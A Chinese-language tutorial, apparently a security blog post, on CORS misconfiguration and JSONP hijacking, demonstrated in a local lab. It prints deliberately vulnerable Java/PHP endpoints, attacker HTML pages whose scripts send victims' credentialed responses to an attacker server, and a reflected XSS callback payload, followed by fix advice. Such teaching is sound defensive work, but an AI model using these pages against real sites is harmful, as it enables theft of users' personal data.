CORS
CORS作用
CORS(跨域資源共享)是用來實現跨域資源訪問的,比如a.com
和b.com
2個站,a.com
要訪問b.com
的資源,正常情況下是訪問不了的。但是有cors就可以利用ajax
來訪問b.com
的內容了,並且在一定配置下a.com
甚至可以利用b.com
下的cookie
,又因為是ajax
請求,因此可以使用多種請求頭(POST, HEAD, GET)
CORS配置
CORS的配置有2個比較重要的參數,這2個參數是在被請求的站中配置的(這里就是b.com
)並且在請求頭中的形式存在,即response
回來的時候會有顯示
用來申明什么站可以享有本站的資源
Access-Control-Allow-Origin: evil.com
用來申明是否可以帶上cookie
Access-Control-Allow-Credentials: true //true表示可以,false表示不行,默認為false
但是稍微注意下如果是如下配置,雖然可以讓任意站訪問資源,但是不會帶上cookie的
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
在java中可以使用下面函數定義
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 設置Origin值為Header中獲取到的response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie
在php中可以設置下返回的請求頭
header("Access-Control-Allow-Origin:http://www.evil.com");
header("Access-Control-Allow-Credentials:true");
CORS帶上cookie的利用
整個利用過程有點像CRSF
,即其實是誘導用戶去點擊惡意的連接,並且把信息發到日志中的效果,用戶的cookie是什么只有在用戶的瀏覽器上看得到,而攻擊者最多獲得返回的結果
帶上cookie,並不意味着能拿到cookie,最先我以為是能夠拿到對方的cookie的值,但是實際上是拿不到的。舉個例子
用戶a cookie:user=a;
用戶b cokkie:user=b;
請求b.com后,返回信息
用戶a {'user': 'a', 'password':'123'}
用戶b {'user': 'b', 'password':'456'}
而CORS,假設用戶a來觸發了這個漏洞,那么攻擊者能夠獲得的是
{'user': 'a', 'password':'123'}
但他並不知道
cookie:user=a;
接下來利用需要2個站,我服務器使用的是github上的一個java漏洞項目:https://github.com/JoyChou93/java-sec-code
漏洞服務器,本機的10.10.10.1:8080/cors/vuls1
惡意腳本網站,虛擬機10.10.10.128/cors/steal.html
在本機10.10.10.1:8080上啟動服務,我這里在原先的代碼上新加了條cookie
protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
@RequestMapping("/vuls1")
@ResponseBody
private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
Cookie cookie1=new Cookie("aaa","AAA");
response.addCookie(cookie1);
// 獲取Header中的Origin
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 設置Origin值為Header中獲取到的
response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie
return info;
}
在虛擬機服務器上的html代碼如下
<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
//利用下面代碼發送到日志中去
//location="//10.10.10.128/cors/?response="+this.responseText;
}
};
xhttp.open("GET", "http://10.10.10.1:8080/cors/vuls1", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
用ajax
發送跨域請求的時候,它會在請求頭自動帶上origin字段
此時有一名用戶,訪問了我本機的服務
10.10.10.1:8080/cors/vuls1
正常獲得了以下信息,並且有cookie了
該用戶訪問惡意網站,那么會出現以下頁面
點擊exploit后,跳轉到index.php頁面了,但是信息被記錄在攻擊者的服務器上了
當然,把跳轉發到服務器上給關閉了,查看下network的請求,也可以看到它的一個工作原理
可以看到本來該站沒有cookie的,但是把用戶10.10.10.1:8080
域下的cookie給發送過去了,並且成功的活動了返回值
CORS不能對cookie的利用
服務器端不需要cookie的話,只需要設置成這樣
Access-Control-Allow-Credentials: false
接下來,再試下剛剛的請求方式
cookie依然帶着的,但是沒有信息回顯的情況,可以理解為把cookie傳了過去,但是,服務器沒有接受處理請求,response的頭的Access-Control-Allow-Credentials
是false了
如果利用被設置成false的,可以使用緩存投毒造成xss,但是目前先挖個坑,之后再補上
修復建議
采用白名單的形式對origin進行限制
JSONP劫持
jsonp的作用
jsonp和CORS的作用都是用來跨域獲取信息的,而jsonp是用get形式來獲取信息,一般是有個叫callback的參數,它會利用去獲取服務器的信息,然后將callback的參數作為自己的某個js函數名,來處理收到的數據
服務器端jsonp的寫法
在php下可以使用
<?php
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST ['callback']);//獲取回調函數名
//json數據
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $callback . "(" . $json_data . ")";
?>
在java下可以這么寫
protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
// http://localhost:8080/jsonp/referer?callback=test
@RequestMapping("/referer")
@ResponseBody
private static String referer(HttpServletRequest request, HttpServletResponse response) {
// JSONP的跨域設置
response.setHeader("Access-Control-Allow-Origin", "*");
String callback = request.getParameter("callback");
return callback + "(" + info + ")";
}
利用
利用方式是在攻擊者服務器上創建個html頁面,誘導受害者去點擊,即可獲對應的受害者訪問過的取存在漏洞缺陷的網站的個人信息,因為callback回來的js函數是攻擊者服務器是的js函數,因此一般這個函數用來打印出獲取的信息或者發送到日志里面去
存在jsonp服務器: 10.10.10.1
攻擊者服務器:10.10.10.128
漏洞url為10.10.10.1:8080/jsonp/referer
,在攻擊者服務器上掛上以下的html頁面
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持測試</title>
</head>
<body>
<script type="text/javascript">
function test(result)
{
alert(JSON.stringify(result))
}
function sendtoserver(result){
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
var url = "http://10.10.10.128/jsonp/index.php?result=" + JSON.stringify(result);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<!--<script type="text/javascript" src="http://10.10.10.1:8080/jsonp/referer?callback=test"></script>-->
<script type="text/javascript" src="http://10.10.10.1:8080/jsonp/referer?callback=sendtoserver"></script>
</body>
</html>
受害者去訪問攻擊者的服務器url
10.10.10.128/jsonp/index.html
那么就能返回目標在漏洞頁面獲取的json數據了
造成反射型xss
造成xss是因為沒有規定返回值為json格式,而是text格式,所導致的
因為callback可控,而正常情況下是這樣的 callback(var)
, 可控的話可以做到這樣alert(1)//(var)
<?php
//header('Content-type: application/json');
$callback = $_REQUEST ['callback'];
$json_data='({"id":"1","name":"Aaron"})';
echo $callback . "(" . $json_data . ")";
?>
那么請求下面的url就能觸發反射性xss
http://127.0.0.1/tmp/jsonp.php?callback=<script>alert(1)</script>
修復方法
對於xss很簡單,直接使用json的返回格式即可
對於劫持可以利用,因為是前端的利用,可以設置referer來設置白名單排除惡意站點,注意下空referer被繞過現象
@RequestMapping("/sec")
@ResponseBody
private static String sec(HttpServletRequest request, HttpServletResponse response) {
// JSONP的跨域設置
response.setHeader("Access-Control-Allow-Origin", "*");
String referer = request.getHeader("referer");
if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
return "error";
}
String callback = request.getParameter("callback");
return callback + "(" + info + ")";
}
當然你也可以使用cors
參\考: